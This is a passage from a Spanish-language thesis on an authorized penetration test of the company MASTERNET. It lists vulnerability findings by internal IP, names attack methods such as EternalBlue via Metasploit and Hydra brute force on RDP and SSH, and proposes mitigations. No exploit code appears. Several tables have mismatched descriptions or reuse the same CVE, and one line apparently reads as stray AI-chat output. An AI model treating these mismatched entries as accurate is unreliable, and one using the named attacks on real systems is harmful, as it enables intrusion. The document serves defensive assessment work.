Nota: Elaboracion propia

Vulnerabilidad de Microsoft Windows Spooler remote

VULNERABILIDAD

WINDOWS PRINT
SPOOLER REMOTE

RIESGO

FACTIBILIDAD DE alta
CODE EXECUTION
REMEDIACION
VULNERABILITY
ACTIVOS 192.168.98.11 CVSS 8.8
AFECTADOS
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PRE-REQUISITOS
DE EXPLOTACION

El atacante puede estar dentro o fuera de la organizacion

DESCRIPCION

Existe una vulnerabilidad de ejecuciéon remota de codigo cuando el
servicio Windows Print Spooler realiza incorrectamente operaciones de
archivos con privilegios. Un atacante que aprovechara con éxito esta
vulnerabilidad podria ejecutar codigo arbitrario con privilegios
SYSTEM. Un atacante podria entonces instalar programas; ver,
cambiar o eliminar datos; o crear nuevas cuentas con todos los derechos

de usuario.

IMPACTO

Afecta a la integridad y disponibilidad de la informacion

RECOMENDACION

Actualizar con cualquier parche de seguridad posterior a noviembre del
2021

REFERENCIA e http://packetstormsecurity.com/files/167261/Print-Spooler-
Remote-DLL-Injection.html
e https://portal.msrc.microsoft.com/en-US/security-
guidance/advisory/CVE-2021-34527
Nota: Elaboracion propia
Tabla 15.

Analisis de vulnerabilidades Tencent Wechat Wxam

VULNERABILIDAD | TENCENT WECHAT | RIESGO MEDIA
WXAM DECODER
FACTIBILIDAD DE Baja
OUT-OF-BOUNDS
REMEDIACION
READ
INFORMATION
DISCLOSURE
VULNERABILITY
ACTIVOS 192.168.98.11 CVSS 6.5
AFECTADOS

PRE-REQUISITOS
DE EXPLOTACION

El atacante puede estar dentro o fuera de la organizacion
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DESCRIPCION

Esta vulnerabilidad permite a los atacantes remotos revelar informacién

confidencial sobre las instalaciones afectadas de la version de escritorio

de Tencent WeChat 2.9.5. La interaccion del usuario es necesaria para

explotar esta vulnerabilidad, ya que el objetivo debe visitar una pagina

maliciosa o abrir un archivo malintencionado. La falla especifica existe

dentro del decodificador WXAM. El problema se debe a la falta de

validacion adecuada de los datos proporcionados por el usuario, lo que

puede dar lugar a una lectura mas alla del final de un bafer asignado.

Un atacante puede aprovechar esto junto con otras vulnerabilidades

para ejecutar codigo arbitrario en el contexto del proceso actual. Era

ZDI-CAN-11907

IMPACTO

Afecta a la integridad y disponibilidad de la informacion

RECOMENDACION

Actualizar con cualquier parche de seguridad posterior a noviembre del

2021

REFERENCIA

e https://'www.zerodayinitiative.com/advisories/ZDI-21-217/

e https://learn.microsoft.com/es-es/search/?terms=CVE-2021-

27247

Sistema Operativo: Microsoft Windows 10 Pro 64 bits. Compilacién 19045

IP 192.168.98.12

Tabla 16.

Nota: Elaboracion propia

Anadlisis de vulnerabilidades Visual Studio Code

VULNERABILIDAD | VISUAL STUDIO | RIESGO -
CODE ESLINT
FACTIBILIDAD DE Baja
EXTENSION
REMEDIACION
REMOTE CODE
EXECUTION
VULNERABILITY
ACTIVOS 192.168.98.12 CVSS 8.8
AFECTADOS
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PRE-REQUISITOS
DE EXPLOTACION

El atacante puede estar dentro o fuera de la organizacion

DESCRIPCION

Existe una vulnerabilidad de ejecucidn remota de codigo en la extension
ESLint para Visual Studio Code cuando valida el codigo fuente después
de abrir un proyecto, también conocida como 'Vulnerabilidad de
ejecucion remota de cddigo de extension ESLint de Visual Studio
Code'.

IMPACTO

Afecta a la integridad y disponibilidad de la informacion

RECOMENDACION

Actualizar con cualquier parche de seguridad posterior a noviembre
del 2021

REFERENCIA

e hitps://msrc.microsoft.com/update-guide/en-us/advisory/CVE-

2020-1481

Nota: Elaboracion propia

Sistema Operativo: Microsoft Windows 10 pro 64 bits. Compilacién 19045

IP 192.168.99.10

Tabla 17.

Analisis de vulnerabilidades Credenciales por defecto

VULNERABILIDAD

CREDENCIALES
POR DEFECTO

RIESGO

FACTIBILIDAD DE Baja
REMEDIACION
ACTIVOS 192.168.99.10 CVSS 7.8
AFECTADOS

PRE-REQUISITOS
DE EXPLOTACION

El atacante puede estar dentro o fuera de la organizacion

DESCRIPCION Esta vulnerabilidad permitia a un atacante remoto ejecutar codigo
arbitrario en un sistema Windows 10 afectado si el usuario abria un
documento de Office malicioso.

IMPACTO Afecta a la integridad y disponibilidad de la informacién

RECOMENDACION

Actualizar con cualquier parche de seguridad posterior a noviembre
del 2020
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REFERENCIA

e https://msrc.microsoft.com/update-guide/en-

US/advisory/CVE-2020-1335

Sistema Operativo: Microsoft Windows 10 Pro 64 bits. Compilacién 19045

IP 192.168.99.11

Tabla 18.

Nota: Elaboracion propia

Andlisis de vulnerabilidades Microsoft Excel remote

VULNERABILIDAD

MICROSOFT
EXCEL REMOTE

RIESGO

FACTIBILIDAD DE Baja
CODE EXECUTION
REMEDIACION
VULNERABILITY
ACTIVOS 192.168.99.11 CVSS 8.8
AFECTADOS

PRE-REQUISITOS
DE EXPLOTACION

El atacante puede estar dentro o fuera de la organizacion

DESCRIPCION Esta vulnerabilidad permitia a un atacante falsificar su identidad como
otro usuario en una red Kerberos.
IMPACTO Afecta a la integridad y disponibilidad de la informacion

RECOMENDACION

Actualizar con cualquier parche de seguridad posterior a noviembre

del 2020

REFERENCIA

e https://msrc.microsoft.com/update-guide/en-

US/advisory/CVE-2020-1335

Sistema Operativo: Microsoft Windows 10 pro 64 bits. Compilacion 19045

IP 192.168.99.12

Nota: Elaboracion propia
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Tabla 19.

Anélisis vulnerabilidades remote procedure call reuntime

VULNERABILIDAD REMOTE RIESGO -
PROCEDURE CALL
FACTIBILIDAD DE Baja
RUNTIME REMOTE
REMEDIACION
CODE EXECUTION
VULNERABILITY
ACTIVOS 192.168.99.12 CVSS 8.8
AFECTADOS

PRE-REQUISITOS
DE EXPLOTACION

El atacante puede estar dentro o fuera de la organizacion

DESCRIPCION Vulnerabilidad de ejecucion remota de codigo en tiempo de ejecucion
de llamadas a procedimientos remotos. Puerto 445 (SMB) sin la debida
proteccion.

IMPACTO Afecta a la integridad y disponibilidad de la informacién

RECOMENDACION

Actualizar con cualquier parche de seguridad posterior a junio del

2022

REFERENCIA

e https://msrc.microsoft.com/update-guide/vulnerability/CVE-

2022-24528

Sistema Operativo: Microsoft Windows 10 pro 64 bits. Compilacion 19044

IP 192.168.99.13

Nota: Elaboracion propia
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Tabla 20.

Andlisis de vulnerabilidades sistema operativo desactualizado

VULNERABILIDAD | SISTEMA RIESGO -
OPERATIVO
FACTIBILIDAD DE Baja
DESACTUALIZADO
REMEDIACION
ACTIVOS 192.168.99.13 CVSS 7.8
AFECTADOS

PRE-REQUISITOS
DE EXPLOTACION

El atacante puede estar dentro o fuera de la organizacion

DESCRIPCION

Windows 10 Pro for Workstation sigue siendo susceptible a ataques de
phishing. Estos ataques de ingenieria social intentan engafiar a los
usuarios para que revelen informacion confidencial o hagan clic en

enlaces maliciosos que podrian descargar malware.

IMPACTO

Afecta a la integridad y disponibilidad de la data

RECOMENDACION

Las version workstation no recibe actualizaciones de seguridad desde

diciembre del 2023. Por lo cual recomendamos cambiar la version de

Windows a Windows 10 22h2 pro.

REFERENCIA

e hitps://learn. microsoft.com/es-es/windows/release-

health/release-information

http://packetstormsecurity.com/files/164210/Microsoft-
Windows-MSHTML-Overview.html
http://packetstormsecurity.com/files/165214/Microsoft-Office-
Word-MSHTMIL -Remote-Code-Execution.html
http://packetstormsecurity.com/files/167317/Microsoft-Office-

MSDT-Follina-Proof-Of-Concept.html

https://portal. msrc.microsoft.com/en-US/security-

guidance/advisory/CVE-2021-40444

Nota: Elaboracion propia

Sistema Operativo: Microsoft Windows 10 Pro 64 bits. Compilacion 19044

IP 192.168.99.14
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Tabla 21.

Andlisis vulnerabilidades servicio RDP, puerto por defecto 3389

SERVICIO RDP, RIESGO MEDIA
VULNERABILIDAD | PUERTO POR
FACTIBILIDAD DE Baja
DEFECTO 3389
REMEDIACION
ACTIVOS 192.168.99.14 CVSS 4.4
AFECTADOS

PRE-REQUISITOS
DE EXPLOTACION

El atacante puede estar dentro o fuera de la organizacion

DESCRIPCION Vulnerabilidad de divulgacion de informacion del Protocolo de
escritorio remoto (RDP) de Windows
IMPACTO Afecta a la integridad y disponibilidad de la informacion

RECOMENDACION

Filtrar o cerrar el puerto 3389 (Escritorio Remoto). Actualizar a
Windows 10 22h2 pro.

REFERENCIA

e https://portal.msrc.microsoft.com/en-US/security-

guidance/advisory/CVE-2021-38631

Nota: Elaboracién propia

4.7 Resumen de vulnerabilidades encontradas en las pruebas de penetracion

En breve, se presenta un detalle de las alertas mas relevantes o de riesgo que se realizd

tras la aplicacion de la fase de la explotacion de vulnerabilidades.

Estas vulnerabilidades deben ser remediadas con prioridad ya que representan un alto

riesgo dentro de la red ya que atacante puede explotar los mismo realizando ataques de

fuerza bruta, el uso de exploits y CVE conocidos obteniendo control de los activos y

poder realizar un mayor ataque comprometiendo ain mas los activos en la red interna.
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Tabla 22.

Resumen de la Metodologia Propuesta

CRITICID
AD

mediante la
explotacion de
credenciales
débiles.

privada o VPN,
cerrar puertos no
utilizados.

METODO
VULNERABILI . DE . HERRAMIE
DAD DESCRIPCION EXPLOTAC SOLUCION ORIGEN NTA IMPACTO
ION

ETERNALBLU | Explotacion de la | Metasploit, Aplicar el parche | CVE-2017- Metasploit, Compromis

E (SMB) vulnerabilidad en | exploit SMB, | MS17-010, 0144 Nmap o total del
el protocolo SMB | escaneo  de | deshabilitar sistema,
para gjecutar | puertos. SMBvV1, ransomware
cadigo remoto segmentar la red (WannaCry
mediante el puerto para reducir la ).
445 (MS17-010). exposicion.

FUERZA Ataques de fuerza | Hydra,ataques | Implementar Escaneo de | Hydra, Acceso no | Alta

BRUTA (RDP) bruta a través del | con MFA, usar | puertos y autorizado,
puerto 3389 para | diccionario de | contrasefias contrasefias compromis
obtener acceso a | contrasefas. robustas, limitar el | débiles. 0 del
Escritorio Remoto acceso por red sistema.

RECOMEN

DACIONES

ADICIONA
LES

Habilitar
firewalls,
desactivar
servicios
innecesarios.

Configurar
bloqueo por
intento
fallido,
cambiar el
puerto  por
defecto.
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ESCALADA DE | Explotacion de | Scripts Restringir Malas Exploits, Control Alta Implementar
PRIVILEGIOS | permisos mal | locales, permisos, aplicar | configuracio | scripts total del medidas de
configurados o0 | exploits parches de | nes y fallos | manuales sistema, privilegios
vulnerabilidades especificos, seguridad,  usar | en parches. ejecucioén minimos,
en el sistema | vulnerabilida | herramientas de arbitraria. monitorear
operativo para | des en | auditoria de cuentas de
obtener privilegios | Windows privilegios. usuarios.
de administrador. | (CVE-2020-
0796).
SISTEMA Sistemas sin | Explotacion Mantener el | CVEs Nessus Vulnerabili | Alta Automatizar
OPERATIVO actualizaciones son | de sistema conocidos  y dad critica a la gestion de
DESACTUALIZ | vulnerables a | vulnerabilida | actualizado con | exploits maultiples parches,
ADO exploits conocidos | des conocidas | parches de | publicos. ataques. realizar
gue pueden ser | (CVE), kits de | seguridad, pruebas de
utilizados por | exploits. configurar actualizacion
atacantes para actualizaciones periddicas.
comprometer  la automaticas.
infraestructura.
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MICROSOFT Ejecucion remota | Scripts Deshabilitar CVE-2017- | Scripts Ejecucion Media Implementar
EXCEL de codigo maliciosos, macros en Excel 11882, maliciosos, de cddigo politicas de
REMOTE malicioso al abrir | explotacion por defecto, evitar | archivos malware no seguridad en
CODE archivos Excel de macros, abrir archivos de | adjuntos de autorizado, correos
EXECUTION manipulados que archivos remitentes phishing. robo de electronicos,
contienen macros | adjuntos. desconocidos, datos. herramientas
peligrosas o aplicar parches de de
vulnerabilidades seguridad de sandboxing
de software. Office. para
archivos
adjuntos.
FUERZA Ataques de fuerza | Hydra,ataques | Implementar Contrasefias | Hydra Accesono | Alta Configurar
BRUTA (SSH) bruta a través del con MFA, limitar débiles, autorizado a autenticacio
puerto 22 para diccionario de | acceso SSH, puertos servidores, n basada en
obtener acceso no | contrasefas. utilizar fail2ban abiertos sin compromis claves
autorizado para bloquear IPs, | restricciones. 0 del publicas,
mediante la deshabilitar root sistema. cambiar el
explotacion de login. puerto SSH

credenciales
débiles.

por defecto.

Nota: Elaboracidn propia.
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4.8 Implementacién de las recomendaciones

A modo general cuando se analizan los resultados conseguidos a través de la utilizacion
de la metodologia en cuestion (pentesting), concluimos que estamos frente a una red
completamente vulnerable, mal configurada e ineficiente; los siguientes elementos

evidencian dicha afirmacion:

e Actualizaciones automaticas de software sin una planificacion adecuada.

e Cambios en las regulaciones de seguridad/datos.

» Cambios de red no autorizados.

« Dificultad para monitorizar o actualizar sistemas remotos.

e Red no segmentada.

» Inexistencias de Firewalls o Cortafuegos en los servicios implementados.

» Inexistencias de parches de seguridad (donde sea posible) en las PCs de la
empresa.

¢ Uso de softwares no autorizados.

En funcién de mitigar en su mayoria las vulnerabilidades encontradas se plantean una
serie de soluciones enumeradas y explicadas a continuacion:
1. Segmentar la red telematica de la empresa MASTERNET.

a. Subred de empleados: 192.168.98.0/24

b. DMZ para aislar los servidores: 10.0.0.0/29

c. Subred de VPN: 172.16.1.0/32

{=0] 201.220.200.0/24 =3

INTERNET

@B 2o  |NTERNET ‘

: D a — A8 107 168.98.0/24
misp @
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]
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@ = rrconmeuos
W PTSEl

W PT-COBRO
()] | 192.168.99.0/24
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B PTVENTAST

INTERNET
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6G-25

Figura 41. Segmentacion de la red telematica de la empresa MASTERNET.

Nota: Elaboracion propia
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2. Sustituir los enrutadores Linksys® por enrutadores Mikrotiks’.

3. Implementar firewalls de alta disponibilidad en las dependencias de la empresa
MASTERNET.
a. Implementar reglas de trafico que delimiten los niveles de accesos
b. Bloquear todo trafico mal intencionado o de subredes no permitidas

c. Registrar y almacenar todos los eventos (Logs)

4. Implementar un servicio VPN para que el trafico entre las sucursales de la empresa
MASTERNET sea cifrado.
a. Se implement6 una VPN basadas en el protocolo L2TP/IPSec & donde la

informacidn que se comparte entre sucursales es encriptada.

5. Implementar un servicio VPN para que determinados usuarios accedan remotamente
al sistema de gestion de MASTERNET.

a. Se implementé una VPN OpenVPN, con certificados de seguridad

personalizados y con direcciones IPs estaticas, con este tipo de

implementacién aseguramos un nivel de seguridad mas solido manejando

los accesos de cada usuario y acceso a logs de conexion.

En relacion con este aspecto de seguridad, las medidas practicas de prevencion se
enfocan en:

6 Linksys Holdings, Inc. es una marca estadounidense de productos para redes de datos que vende principalmente a
usuarios domésticos y a pequefias empresas, Los productos de Linksys incluyen routers inaldmbricos, sistemas Wi-Fi
en malla, extensores Wifi, puntos de acceso, y conmutadores de red.

7 Los routers Mikrotik se utilizan para dirigir el trafico de datos entre redes y asegurar que los dispositivos en una
red se comuniquen eficazmente. Pueden utilizarse tanto en entornos domésticos como comerciales para gestionar
la conectividad a Internet y las redes locales.

8 L2TP, o Protocolo de Tunelizacion de Capa Dos, es un protocolo de tunelizacion de computadoras que las VPNs y los
Proveedores de Servicios de Internet (ISPs) utilizan. Las VPNs aprovechan su conectividad y los ISPs lo usan para
facilitar las operaciones de VPN. Aunque el protocolo fue disefiado para mejorar PPTP y L2F, no es perfecto por si
solo. L2TP se suele combinar con otro protocolo para aprovechar al maximo su potencial. La pareja mas comun es
L2TP/IPSec. IPSec se usa para asegurar que los paquetes de datos estén seguros.
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Tabla 23.

Medidas précticas de prevencion

ACTUALIZACIONES

MEDIDAS DE DESCRIPCION
PREVENCION
DESCARGA DE No descargar actualizaciones desde sitios web que no se conocen.

Realizar la descarga de actualizaciones por medio de los procedimientos brindados por el mismo fabricante
o0 programador de ciertos sistemas o softwares que use la empresa MASTERNET.

Es importante mantener las actualizaciones activas tanto en los sistemas operativos como en las
aplicaciones instaladas.

Aplicar configuraciones en el sistema operativo para lograr que sea mas seguro; entablar buenas practicas

es importante para un correcto funcionamiento.

CONFIGURACIONES
ADICIONALES

Es importante que se deshabilite las carpetas compartidas que estan en la red, esto con e objetivo de que la
propagacién de gusanos o troyanos aprovechen cualquier vulnerabilidad.

Configurar un perfil como usuario con privilegios limitados.

Desconfigurar la ejecucion automatica de dispositivos de almacenamiento USB.

Para la autenticacion de ingreso de sesion hacia el sistema operativo, debe de ser una contrasefia fuerte, una
combinacion de caracteres alfanuméricos y de simbolos.

Se debe de configurar la visualizacion de archivos ocultos, porque en multiples ocasiones pueden poseer

virus escondidos en el sistema con este tipo de atributos.
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Se debe de actualizar contrasefias de una manera periddica no mayor a 7 dias para cierta informacion que
es critica. 30 dias para informacién media y de 90 dias para informacion de categoria baja.

Cualquier comunicacion enviada por correo electronico que contenga informacion confidencial sobre los
clientes, socios comerciales o accionistas de la organizacion debe cifrarse utilizando las herramientas
proporcionadas por el servicio de correo electrénico. Ademas, los documentos adjuntos deben estar
protegidos con una contrasefia segura de al menos 10 caracteres. Combinacion de letras mayusculas,
mindsculas, nimeros y simbolos.

Durante el ciclo de desarrollo de software seguro, el equipo es responsable de garantizar que las
aplicaciones y servicios que requieren combinaciones de inicio de sesion y contrasefia incluyan cifrado de
credenciales y que las contrasefias no sean claramente visibles en el codigo.

Los sitios web de la empresa deben estar protegidos por certificados de seguridad emitidos por organismos
reconocidos para evitar la interceptacion de datos ingresados por clientes o socios comerciales.

TECNOLOGIA

Es importante que se trate de usar equipos de Ultima tecnologia, dado que los sistemas operativos
desactualizados no cuentan con un soporte técnico.

Los discos duros de las computadoras del usuario final deben cifrarse utilizando herramientas o soluciones
proporcionadas con el sistema operativo y deben ser adquiridos y administrados por el equipo técnico y
verificados por el equipo de seguridad de la informacién. Asimismo, las unidades corporativas y las

unidades flash USB deben estar cifradas.

Nota: Elaboracién propia
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Los ataques al puerto 22, especialmente cuando se combinan con ataques de diccionario, son una amenaza constante para la seguridad de los

sistemas. A continuacion, se evidencian algunas medidas preventivas efectivas:

Tabla 24.

Medidas de prevencion

MEDIDAS
PREVENTIVAS

DESCRIPCION

FORTALECIMIENTO
DE LAS
CONTRASENAS

Complejidad: Exige contrasefias que combinen mayusculas, minusculas, nimeros y caracteres especiales.
Longitud: Implementa politicas de contrasefias que establezcan una longitud minima considerable.
Unicidad: Evita el uso de contrasefias repetidas en diferentes cuentas.

Caducidad: Establece politicas de caducidad obligatoria para las contrasefias.

Gestores de contrasefias: Recomienda el uso de gestores de contrasefias para generar y almacenar de forma

segura contrasefias complejas.

AUTENTICACION DE
DOS FACTORES (2FA)

Implementacion: Configura la autenticacion de dos factores para agregar una capa adicional de seguridad.
Métodos: Utiliza métodos de 2FA como cddigos enviados a dispositivos moviles, aplicaciones de

autenticacion o tokens de seguridad.
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LIMITACION DE
INTENTOS DE
INICIO DE
SESION

Bloqueo de IP: Después de un nimero determinado de intentos fallidos, bloquea temporalmente la
direccion IP.
Periodos de espera: Implementa periodos de espera entre intentos de inicio de sesion.

Honeypots: Utiliza honeypots para atraer a los atacantes y analizar sus técnicas.

CONFIGURACION
DEL SERVIDOR SSH

Deshabilitar el acceso root: Evita el acceso directo al usuario root a través de SSH.

Cambiar el puerto por defecto: Utiliza un puerto no estandar para dificultar los ataques automatizados.
Deshabilitar el acceso de clave publica: Si no es necesario, deshabilita esta opcion para reducir la
superficie de atague.

Limitacion de conexiones: Configura limites en el nimero de conexiones simultaneas permitidas.
Bloqueo de direcciones IP conocidas: Bloguea las direcciones IP de las que se originan con frecuencia

ataques.

MONITOREO Y
DETECCION

Sistemas de deteccidn de intrusiones (IDS): Implementa un IDS para detectar actividades sospechosas.
Anélisis de logs: Revisa regularmente los logs de SSH para identificar patrones de ataque.
Alertas: Configura alertas para eventos como intentos de fuerza bruta o inicios de sesion fallidos.

Nota: Elaboracion propia
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4.9 Metodologia propuesta

Como se menciond anteriormente, para este proyecto de investigacion se uso la Metodologia

de PENTESTING como marco referencial, la cual se adapto a las necesidades de la red

informética de MASTERNET., ademéas se identificaron y se aplicaron las técnicas y

herramientas entre las mas reconocidas como eficientes en el entono de las evaluaciones de

seguridad de informacion.

En la tabla 2, se puede apreciar cada una las fases de la metodologia resultante de la

investigacion, por cada etapa se identifica el alcance, las técnicas y herramientas que se

pueden aplicar, todas previamente probadas a lo largo de la investigacion, ajustadas a los

requerimientos previamente establecidos.

He generado una ilustracion que muestra los tres escenarios de hacking:

A wnp e

Ataque de fuerza bruta en el puerto 3389 (RDP).
Ataque de fuerza bruta en el puerto 22 (SSH).

Explotacidn del puerto 445 utilizando el exploit EternalBlue.

Explotacién de puerto 21 (FTP). escalada de privilegios.

Aqui tienes la imagen, que describe los pasos involucrados en cada ataque. Ahora

generaré el resumen en tabla de control de vulnerabilidades.

Tabla 25.

Control de Vulnerabilidades

puerto 445

(MS17-010)

VULNERABILIDAD | DESCRIPCION | IMPACTO | METODO DE | SOLUCION
EXPLOTACION

ETERNALBLUE Ejecucion remota | Critica Metasploit, SMB | Aplicar parche

(SMB) de cddigo via exploit MS17-010
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EXPLOTACION DE | Explotacion  de | Critica Scripts locales o | Actualizaciones
PUERTO 21 puerto 21 abierto vulnerabilidades |y restricciones
y mala de permisos
configuracion
FUERZA  BRUTA | Ataques de | Alta Herramientas de | Habilitar MFA,
(RDP) fuerza bruta a las fuerza bruta | limitar acceso
credenciales del (Hydra) RDP
puerto 3389
FUERZA  BRUTA | Ataques de Metasploit Hardening de
(SSH) fuerza bruta al servidores,

puerto SSH

configuracion
de servicio SSH
solo para
usuarios

autorizados.

Nota: Elaboracion propia

81




4.10 Discusion

La evaluacion realizada sobre el sistema de informacion de MASTERNET mediante
técnicas de pentesting permitié identificar varias vulnerabilidades criticas que amenazan
la seguridad de la infraestructura tecnoldgica de la empresa. Este andlisis, centrado en
detectar debilidades que comprometen la confidencialidad, integridad y disponibilidad de
los activos digitales, destacd la necesidad urgente de implementar medidas de mitigacion

para fortalecer las defensas de la empresa contra ciberataques.

Uno de los aspectos relevantes fue la falta de una politica formal de seguridad en la
empresa, lo cual expone su infraestructura a ataques como el ransomware y la explotacion

de puertos no seguros.

La implementacion de la metodologia Pentesting Execution Standard (PTES) resultd
crucial para establecer un enfoque sistematico en la deteccion de vulnerabilidades, que
incluyé desde la recopilacion de datos hasta el aprovechamiento de las debilidades.
Dentro de las etapas mas cruciales se encontraban el escaneo y la explotacion de
vulnerabilidades, en las que se demostrd la vulnerabilidad de diversos servicios, como
FTP y RDP, frente a ataques de fuerza bruta y exploits denominados EternalBlue. Estos
descubrimientos resaltan la relevancia de mantener los sistemas al dia y fortalecer las
acciones de autenticacion, particularmente en los servicios presentados. Otro punto es la
evaluacion de riesgos residuales. A pesar de las medidas de mitigacion que se pueden
implementar, pueden persistir y deben gestionarse adecuadamente para evitar futuros

incidentes, asi como la capacitacion de personal sobre las mejores practicas de seguridad.

Finalmente, las recomendaciones propuestas, como la implementacién de la autenticacion
multifactor (2FA), la limitacion de intentos de inicio de sesion y la configuracidn segura
de servicios como SSH, son pasos criticos hacia la mejora de la postura de seguridad de
MASTERNET. Sin embargo, es necesario que la empresa adopte un enfoque integral y
continuo de la seguridad para adaptarse a las nuevas amenazas que surgen constantemente

en el panorama digital.

Este andlisis destaca la necesidad de un enfoque preventivo y proactivo en la seguridad

de la informacién.
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5 CONCLUSIONES

Una vez finalizado el proceso de ejecucion de la propuesta investigativa, se procede a

concluir lo siguiente:

La seguridad de la red es fundamental para proteger la informacion confidencial y los
activos de toda empresa. Una red vulnerable aumenta significativamente el riesgo de
sufrir un ciberataque o una violacion de datos. Puesto que, una red mal configurada puede
provocar problemas de rendimiento, interrupciones en el servicio y dificultades para los
empleados al acceder a los recursos necesarios para realizar su trabajo. Una red ineficiente
puede impactar negativamente en la productividad de los empleados, generando demoras
en la transferencia de archivos, caidas de conexion y otros problemas que afectan la

eficiencia operativa.

En relacién la identificacion de las fallas encontradas durante el proceso de testeo de las
vulnerabilidades es importante mencionar en primeras instancias el uso de la metodologia
Pentesting para posteriormente ejecutar segun sus fases: reconocimiento, escaneo y
explotacion de vulnerabilidades, adicional a ello, determinar 4 vulnerabilidades
explotadas que la empresa MASTERNET posee y son: Vulnerabilidad eternal blue, FTP
usuario password por default, escala de privilegios, RDP ataque fuerza bruta, SSH ataque
fuerza bruta los cuales fueron clasificados segun su rango de gravedad, como: baja,
media, alta y critica. Por medio de simulaciones y ataques autorizados con las
herramientas Nmap, Metasploit Framework, hydra y Armitage, se logré determinar
diversas vulnerabilidades a las que esta expuesto el sistema tecnolégico de la compafiia,
y asi poder exponer a través de este estudio recomendaciones y soportes.

En relacion a las recomendaciones y estrategias es crucial invertir en la mejora de la
infraestructura de red, implementar medidas de seguridad adecuadas y garantizar una
correcta configuracién para proteger la empresa de posibles amenazas y mejorar la
eficiencia en las operaciones diarias. Es recomendable realizar evaluaciones regulares de
la red para identificar y corregir posibles vulnerabilidades, asi como asegurarse de que la
configuracion de la red esté optimizada para brindar un rendimiento 6ptimo y seguro. Con

el manejo de la tecnologia y sobre todo el trabajo en red tanto para equipos conectados al
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WIFI como a la LAN deja una brecha abierta a un activo relevante como lo es la
informacion digital que maneja MASTERNET. Y para culminar, se encentraron sistemas
operativos (Windows Server 2008, Windows10), versiones obsoletas otras sin
actualizaciones, deshabilitadas la seguridad de firewall, update, y proteccién de antivirus,
se hace recomendaciones como actualizacion de software y compra de licencias para

mitigar fallas y vulnerabilidades a las que esta expuesta la seguridad informaética.

Finalmente, y no menos importante el proceso ha permitido descubrir varias de
vulnerabilidades que pueden ser explotadas por atacantes malintencionados. Entre estas,
se destacan fallos de seguridad en la configuracion de servicios, estas vulnerabilidades
presentadas tienen riesgos significativos para la confidencialidad, integridad y
disponibilidad de los sistemas evaluados, la explotacion de estas vulnerabilidades podria
resultar en la pérdida de datos, acceso no autorizado a sistemas incluso el control estas
vulnerabilidades coinciden con vectores de ataque ya conocidos como Eternalblue, fallos
de configuracion en servidores web, uso configuraciones de seguridad débiles en los
activos de red y uso de software desactualizado esto es un mal manejo en gestién de

actualizaciones.
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6 RECOMENDACIONES

Se recomienda a futuros investigadores relacionados con la ciberseguridad, utilizar
herramientas o técnicas como el Pentesting para identificar las vulnerabilidades, instruirse
adecuadamente para tener en claro el funcionamiento de dicha metodologia de manera
constante, ya que los ciber atacantes buscan los mecanismos y usan herramientas
actualizadas para lograr cumplir sus objetivos. Por tales motivos, la seguridad informatica
debe de ser tratado como un tema primordial en toda empresa porque ayudara a proteger

y prevenir toda la informacidn para potenciar los negocios.

Al instante de identificar las vulnerabilidades, se encomienda usar otras herramientas
tales como: Acunetix, Nexpose 0 Nexus. Para posteriormente clasificar las
vulnerabilidades en funcion de su tipo: error en la configuracion, error generado por un
usuario, entre otros. Adicionalmente, se puede anexar otro criterio de clasificacion en

base a la relacion con las amenazadas a las que se encuentra asociado.

Finalmente, es recomendable en la empresa MASTERNET usar framewors de seguridad
para una adecuada gestion de vulnerabilidades y riesgos. También, la aplicacion
inmediata de las recomendaciones mencionadas en el trabajo investigativo realizado. Se
encomienda crear un plan de gestion de parches y actualizaciones para los sistemas,
Ademas de, revisar las configuraciones de seguridad de los activos de empresa, realizar
analisis de vulnerabilidades periédicamente. Aplicar politicas de acceso, asi como
autenticacion de doble factor y el uso de VPN.

Realizar un plan de respuesta ante incidentes de seguridad esto ayudara al equipo a estar
preparado a actuar rapidamente ante un incidente. Y brindar capacitacion a los empleados,
sobre las mejores practicas como deteccion de ataques de phishing y el uso de contrasefias

mas robustas.
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Anexos

Anexo A. Encuesta personal Masternet

Evaluacién del uso de la red
Evaluador: Ing. Diego Silva

Empresa: Masternet

DATOS
PREGUNTAS PARA CONOCER EL DIAGNOSTICO DEL USO DE LA RED
NO | Descripcion Observacion
1.- | ¢Elusode lared es adecuado? Respuesta de opcion multiple
2.- | ¢Los niveles de operatividad son los 6ptimos de los dispositivos? Respuesta de opcion multiple
3.- | ¢Han recibido ataques a la red? Respuesta de opcion multiple
4.- | ¢Tienen sistema de recuperacion de fallas? Respuesta de opcion multiple

Nota: Elaboracion propia

Evaluacién estado de la red

DATOS
PREGUNTAS PARA CONOCER EL DIAGNOSTICO MANTENIMIENTO DE LA RED
NO | Descripcion Observacion
1.- ¢Utilizan equipos especializado con frecuencia para verificar su | Respuesta de opcién multiple

funcionamiento?

2.- ¢Reciben manteamiento adecuado? Respuesta de opcion multiple

3.- ¢Los estados de conexion con los demés elementos de la red son los | Respuesta de opcién multiple
Optimos?

4.- ¢Utilizan dispositivos de seguridad si hubiere ataques? Respuesta de opcion multiple

Nota: Elaboracion propia
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